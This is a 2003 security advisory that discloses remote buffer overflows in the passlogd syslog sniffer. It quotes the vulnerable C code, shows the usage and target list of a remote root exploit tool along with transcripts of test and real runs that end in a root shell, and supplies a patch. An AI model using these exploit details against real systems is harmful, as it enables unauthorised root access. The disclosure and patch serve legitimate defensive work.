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[VulnWatch] [INetCop Security Advisory] Remote Multiple Buffer Overflow vulnerability in passlogd sniffer.

From: dong-h0un U (xploithackermail.com)
Date: Wed Apr 02 2003 - 11:55:30 CST


        ========================================
        INetCop Security Advisory #2003-0x82-015
        ========================================

* Title: Remote Multiple Buffer Overflow vulnerability in passlogd sniffer.

0x01. Description

About:
passlogd(passive syslog capture daemon) is a purpose-built sniffer for capturing
syslog messages in transit. This allows for backup logging to be performed on
a machine with no open ports.

This program is introduced in securityfocus: http://www.securityfocus.com/tools/2076

Vulnerability can presume as following.
There is sl_parse() function to 33 lines of 'passlogd-0.1d/parse.c' code.

    __
    33 void sl_parse(char *user, struct pcap_pkthdr *pkthdr, u_char *pkt)
    34 {
        ...
    42 char level[5];
    43 char message[1024];
    44 char buffer[4096];
        ...
    77 while(pkt[i] != '>'){
    78 level[j] = pkt[i]; // First, buffer overflow happens.
    79 i++;
    80 j++;
    81 }
    82 i++;
        ...
    87 while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
    88 if(debug)
    89 printf("at byte %d of %d\n", i, pkthdr->caplen - 1);
    90 message[z] = pkt[i]; // Second, buffer overflow happens.
    91 i++;
    92 z++;
    93 }
        ...
   103 /* built the logstring */
   104 if(dflag){
   105 sprintf(buffer, "%s %s\n", srcip, message); // Very dangerous.
   106 }
   107 else {
   108 sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message) // Similarly, is dangerous.
;
   109 }
        ... /* Role of original is like this. */
   123 syslev = atoi(level);
   124 openlog("passlogd", 0, LOG_DAEMON);
   125 syslog(syslev, "%s", buffer);
    --

Visual point that change flowing of this program, happen after overwrited stack variables.
Of course, frame pointer overrun exists together.

0x02. Vulnerable Packages

Vendor site: http://www.morphine.com/src/passlogd.html

passlogd v0.1d
-passlogd-0.1d.tar.gz
+FreeBSD
+OpenBSD
+Linux
+Other
passlogd v0.1c
-passlogd-0.1c.tar.gz
passlogd v0.1b
-passlogd-0.1b.tar.gz
passlogd v0.1a
-passlogd-0.1a.tar.gz

0x03. Exploit

Our proof of concept code was completed.
Exhibit it sooner or later.

bash-2.04# ./0x82-Remote.passlogd_sniff.xpl

 passlogd sniffer remote buffer overflow root exploit
                                        by Xpl017Elz.

 Usage: ./0x82-Remote.passlogd_sniff.xpl -option [argument]

        -h - hostname.
        -f - spoof src ip.
        -s - &shellcode.
        -l - buf len.
        -t - target number.
        -i - help information.

 Select target number:

        {0} ALZZA Linux release 6.1 (Linux One)
        {1} WOW Linux release 6.2 (Puberty)
        {2} RedHat Linux release 7.0 (Guinness)
        {3} WOWLiNUX Release 7.1 (Paran)
        {4} RedHat Linux release 8.0 (Psyche)

 Example> ./0x82-Remote.passlogd_sniff.xpl -h localhost -f82.82.82.82 -t3
 Example2> ./0x82-Remote.passlogd_sniff.xpl -h localhost -s0x82828282 -l582

bash-2.04#

test exploit result: --

#1) attacker system:

bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2 -s0x82828282

 passlogd sniffer remote buffer overflow root exploit
                                        by Xpl017Elz.

 [0] Set packet code size.
 [1] Set protocol header.
 [2] Make shellcode.
 [3] Set rawsock.
 [4] Send packet.
 [5] Trying 61.37.xxx.xx:36864.
 [-] Connect Failed.

bash-2.04#

#2) target system:

[rootblah /passlogd-0.1d]# gdb -q ./passlogd
(gdb) r
Starting program: /passlogd-0.1d/./passlogd
Wed Mar 26 12:16:27 2003
 
 
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   /bin/shd
 
Program received signal SIGSEGV, Segmentation fault.
0x82828282 in ?? ()
(gdb)

real exploit result: --

bash-2.04# ./0x82-Remote.passlogd_sniff.xpl -h61.37.xxx.xx -t2

 passlogd sniffer remote buffer overflow root exploit
                                        by Xpl017Elz.

 [0] Set packet code size.
 [1] Set protocol header.
 [2] Make shellcode.
 [3] Set rawsock.
 [4] Send packet.
 [5] Trying 61.37.xxx.xx:36864.
 [*] Connected to 61.37.xxx.xx:36864.
 [*] Executed shell successfully !

Linux blah 2.4.20 #1 SMP Fri Mar 21 20:36:58 EST 2003 i686 unknown
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[rootblah /passlogd-0.1d]#

--

0x04. Patch

=== parse.patch ===

--- parse.c Sat Jun 9 14:07:45 2001
+++ parse.patch.c Wed Mar 26 11:48:33 2003
-75,6 +75,10
   j=0;
   
   while(pkt[i] != '>'){
+ if(j==sizeof(level)-1)
+ {
+ break;
+ }
     level[j] = pkt[i];
     i++;
     j++;
-87,6 +91,10
   while(pkt[i] != '\n' && pkt[i] != '\r' && i < (pkthdr->caplen - 1)){
         if(debug)
                 printf("at byte %d of %d\n", i, pkthdr->caplen - 1);
+ if(z==sizeof(message)-1)
+ {
+ break;
+ }
     message[z] = pkt[i];
     i++;
     z++;
-102,10 +110,10
 
   /* built the logstring */
   if(dflag){
- sprintf(buffer, "%s %s\n", srcip, message);
+ snprintf(buffer, sizeof(buffer)-1, "%s %s\n", srcip, message);
   }
   else {
- sprintf(buffer, "%s to %s: <%s> %s\n", srcip, dstip, level, message);
+ snprintf(buffer, sizeof(buffer)-1, "%s to %s: <%s> %s\n", srcip, dstip, level, message);
   }
 
   if(debug){

=== eof ===

P.S: Sorry, for my poor english.

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